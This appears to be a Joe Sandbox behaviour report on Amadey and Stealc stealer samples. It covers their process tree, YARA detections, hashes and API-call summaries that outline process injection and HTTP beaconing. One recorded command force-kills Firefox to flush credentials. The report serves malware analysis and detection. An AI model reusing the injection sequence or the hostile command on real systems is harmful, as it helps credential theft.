Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1721238447.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1680996838.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:02:59
Start date:	18/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xa50000
File size:	1'866'752 bytes
MD5 hash:	29C296C7B8335C9D6EE3215F5484C3E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1758451395.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1718158159.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:02:59
Start date:	18/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa50000
File size:	1'866'752 bytes
MD5 hash:	29C296C7B8335C9D6EE3215F5484C3E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1760678116.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1720480608.0000000005210000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:04:00
Start date:	18/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa50000
File size:	1'866'752 bytes
MD5 hash:	29C296C7B8335C9D6EE3215F5484C3E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2316876024.0000000005150000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	09:04:10
Start date:	18/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe"
Imagebase:	0xb30000
File size:	2'982'400 bytes
MD5 hash:	E28CB5886AE7403F87A78DA3ACF30035
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:04:17
Start date:	18/10/2024
Path:	C:\Users\user\1000350002\6a8d4317d4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\1000350002\6a8d4317d4.exe"
Imagebase:	0xd20000
File size:	1'882'112 bytes
MD5 hash:	DF8B436F45B3222C95AF2E74ACA0D084
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.2537460651.000000000095E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000003.2496940953.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.2538148341.0000000000D21000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:04:22
Start date:	18/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	1'866'752 bytes
MD5 hash:	29C296C7B8335C9D6EE3215F5484C3E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	09:04:25
Start date:	18/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe"
Imagebase:	0xb30000
File size:	2'982'400 bytes
MD5 hash:	E28CB5886AE7403F87A78DA3ACF30035
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2620037561.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2604132730.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2664262344.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2663928952.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2603773117.0000000000AB3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2623464968.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2636516772.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2640348018.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2623251409.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2684577632.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2603721155.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2641351631.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2604385825.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:04:27
Start date:	18/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe"
Imagebase:	0x310000
File size:	1'739'776 bytes
MD5 hash:	A4C6FC7BA18DC75ADB01372340E735EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:04:31
Start date:	18/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xa50000
File size:	1'866'752 bytes
MD5 hash:	29C296C7B8335C9D6EE3215F5484C3E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:04:33
Start date:	18/10/2024
Path:	C:\Users\user\1000350002\6a8d4317d4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\1000350002\6a8d4317d4.exe"
Imagebase:	0xd20000
File size:	1'882'112 bytes
MD5 hash:	DF8B436F45B3222C95AF2E74ACA0D084
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000003.2654891019.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.2695730886.0000000000D21000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.2695281635.000000000094B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:04:37
Start date:	18/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000401001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000401001\num.exe"
Imagebase:	0x650000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000000.2678859508.0000000000651000.00000080.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.2731328670.00000000011EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.2730538903.0000000000651000.00000080.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:04:41
Start date:	18/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe"
Imagebase:	0xb30000
File size:	2'982'400 bytes
MD5 hash:	E28CB5886AE7403F87A78DA3ACF30035
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2785733963.000000000083D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2786592123.000000000083D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2799731430.000000000083D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	09:04:49
Start date:	18/10/2024
Path:	C:\Users\user\1000350002\6a8d4317d4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\1000350002\6a8d4317d4.exe"
Imagebase:	0xd20000
File size:	1'882'112 bytes
MD5 hash:	DF8B436F45B3222C95AF2E74ACA0D084
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000002.2864835627.0000000000D21000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000003.2821857520.0000000005490000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000002.2867421028.000000000162B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:04:55
Start date:	18/10/2024
Path:	C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe"
Imagebase:	0x7ff71e800000
File size:	1'882'112 bytes
MD5 hash:	DF8B436F45B3222C95AF2E74ACA0D084
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000003.2881192763.0000000005160000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	09:04:58
Start date:	18/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000401001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000401001\num.exe"
Imagebase:	0x650000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000013.00000002.2900581975.0000000000651000.00000080.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000013.00000000.2883036920.0000000000651000.00000080.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000013.00000002.2904376187.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:04:58
Start date:	18/10/2024
Path:	C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe"
Imagebase:	0x150000
File size:	1'866'752 bytes
MD5 hash:	29C296C7B8335C9D6EE3215F5484C3E0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000003.2912971386.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	09:04:59
Start date:	18/10/2024
Path:	C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe"
Imagebase:	0x1a0000
File size:	922'624 bytes
MD5 hash:	36FABDC3A2CC13138F2AB435319CDB5B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000015.00000002.2921279103.0000000000D58000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	09:04:59
Start date:	18/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xff0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:04:59
Start date:	18/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 04CF085A Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1723406352.0000000004CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cf0000_h3yRbjNWk1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a56b4227c233e7a8ac8f565b5a8b71ed68ebc67cfe162a4f98cb17da9d6ee74e
Instruction ID: 54989bf4ec2f7bb6829f708669edb098daa15ee48057afc3ddf4fc98c0ff3163
Opcode Fuzzy Hash: a56b4227c233e7a8ac8f565b5a8b71ed68ebc67cfe162a4f98cb17da9d6ee74e
Instruction Fuzzy Hash: 12C02B31A4C800C645C054035C02A3273B6B641F017CC019283C15B053F32D6030FBF2

Non-executed Functions

Function 04CF0DC8 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1723406352.0000000004CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cf0000_h3yRbjNWk1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ad4b2e8d3a175e1d651af2f5a3b05fa955765257e738ca25846281f65d32433
Instruction ID: 849fead985971d0c693ffc1acaab4107f4a2f2d5f3a456b6e254a9bfc155b857
Opcode Fuzzy Hash: 7ad4b2e8d3a175e1d651af2f5a3b05fa955765257e738ca25846281f65d32433
Instruction Fuzzy Hash: 34F0DAFB60C1217D7241D1932F54AFB57AEE4D6B30374D43AF946C144AE3995A4D2031

Analysis Process: skotes.exePID: 5436, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	11.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	11.3%
Total number of Nodes:	1847
Total number of Limit Nodes:	28

Executed Functions

Function 00A570A0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 132
memoryprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00A5712B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00A57144
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 00A57159
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 00A57179
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 00A571BB
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 00A571D8
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00A57291

Strings

VUUU, xrefs: 00A56F41
invalid stoi argument, xrefs: 00A57090
, xrefs: 00A57170

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID: ProcessVirtual$AllocMemory$ContextCreateFreeReadThreadWow64Write
String ID: $VUUU$invalid stoi argument
API String ID: 2898515578-3954507777
Opcode ID: d03203a4e17bd6d80602527420dd0bfb4af926928c3a5b9d8251cab5e3f9c229
Instruction ID: 874d9e628227ddb8f3d60208deda50e77ca93294e4b633c2ee762e164255f0f2
Opcode Fuzzy Hash: d03203a4e17bd6d80602527420dd0bfb4af926928c3a5b9d8251cab5e3f9c229
Instruction Fuzzy Hash: 1F418471294301BFE720EB64DC06F9BB7E9BF45B00F501529FB84A61D0E7B0E9148B96

Function 00A5BE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 00A5BEB8
InternetOpenW.WININET(00AA8DC8,00000000,00000000,00000000,00000000), ref: 00A5BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00A5BEEB
HttpOpenRequestA.WININET(?,00000000), ref: 00A5BF35
HttpSendRequestA.WININET(?,00000000), ref: 00A5BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00A5C0A8
InternetCloseHandle.WININET(?), ref: 00A5C187
InternetCloseHandle.WININET(?), ref: 00A5C18F
InternetCloseHandle.WININET(?), ref: 00A5C197

Strings

RmNn, xrefs: 00A5D606
8HJUeMD Lq5=, xrefs: 00A5C465
8HJUeIfzLo==, xrefs: 00A5C3CB, 00A5C623
stoi argument out of range, xrefs: 00A5E4EA
invalid stoi argument, xrefs: 00A5E4F4
RE1NXF==, xrefs: 00A5BF0E

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-2254971868
Opcode ID: b868d59b6842e33fd0df5a7bb946bf6a1e9e09d17e98d28d8e83a2b8929e740c
Instruction ID: fd3ae09f523ae004bd0721ebef2b9ba5e9f0d04ea080fbb947323106559d0599
Opcode Fuzzy Hash: b868d59b6842e33fd0df5a7bb946bf6a1e9e09d17e98d28d8e83a2b8929e740c
Instruction Fuzzy Hash: E0B1E3B1A10218AFDB28DF28CC84B9DBB79FF45315F504199F908972C6D7709AC8CB95

Function 00A5E530 Relevance: 14.7, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WTw=, xrefs: 00A6097D
GnNoc2Hc, xrefs: 00A5E56C
WTs=, xrefs: 00A605CA
MQ==, xrefs: 00A5E592
111, xrefs: 00A5F7A0
MGE+, xrefs: 00A5E821
246122658369, xrefs: 00A5F737, 00A5FA14, 00A605E7, 00A6099A
9c9aa5, xrefs: 00A5FB8E
#, xrefs: 00A60624
WDw=, xrefs: 00A5F71D, 00A5F9FA
UA==, xrefs: 00A5EB0F, 00A5ED56

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: d3cc14d285ad301fbc220837cd5bacadea502ffb9b5cb2b5f477ef2efd1f24ed
Instruction ID: 764b81bb819b4c4940f3fc9cac5eb6650963702d6e11af334365c0a0e3757af9
Opcode Fuzzy Hash: d3cc14d285ad301fbc220837cd5bacadea502ffb9b5cb2b5f477ef2efd1f24ed
Instruction Fuzzy Hash: 9982E570914288EFEF14EF68CA497DE7FB5AB05308F508598E815273C2D7759A88CBD2

Function 00A565E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00A56680

Strings

ISNmfV==, xrefs: 00A567D1
GSTmfV==, xrefs: 00A56728
RySfdMLx, xrefs: 00A5669C

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
